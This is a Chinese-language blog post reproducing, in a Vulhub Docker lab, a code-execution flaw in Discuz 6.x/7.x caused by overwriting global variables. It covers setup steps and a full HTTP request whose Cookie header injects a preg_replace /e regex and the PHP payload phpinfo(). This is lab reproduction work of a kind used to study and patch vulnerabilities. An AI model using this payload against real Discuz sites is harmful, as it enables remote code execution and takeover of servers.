Discuz 7.x6.x 全局变量防御绕过导致代码执行

0x01漏洞概述

    由于php5.3.x版本里php.ini的设置里request_order默认值为GP,导致$_REQUEST中不再包含$_COOKIE,我们通过在Cookie中传入$GLOBALS来覆盖全局变量,造成代码执行漏洞。

具体原理请参考:

https://www.secpulse.com/archives/2338.html

0x02漏洞环境

1、启动漏洞环境

┌──(root💀kali)-[/home/kali/vulhub/discuz/wooyun-2010-080723]
└─# docker-compose up -d

2、访问漏洞环境

http://your-ip:8080/install/

数据库地址填写db,数据库名为discuz,数据库账号密码均为root。

3、复现完成后,清除漏洞环境

┌──(root💀kali)-[/home/kali/vulhub/discuz/wooyun-2010-080723]
└─# docker-compose down

0x03复现过程

1、安装成功以后,直接找一个已经存在的帖子,向其发送数据包,利用burpsite工具修改Cookie值

GET /viewthread.php?tid=13&extra=page%3D1 HTTP/1.1
Host: your-ip:8080
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:96.0) Gecko/20100101 Firefox/96.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Cookie:GLOBALS[_DCACHE][smilies][searcharray]=/.*/eui; GLOBALS[_DCACHE][smilies][replacearray]=phpinfo();
Upgrade-Insecure-Requests: 1
Cache-Control: max-age=0

2、修改完成后,点击发送请求,查看返回包

复现成功。

posted @ 2022-05-15 12:41  RichardYg  阅读(66)  评论(0编辑  收藏  举报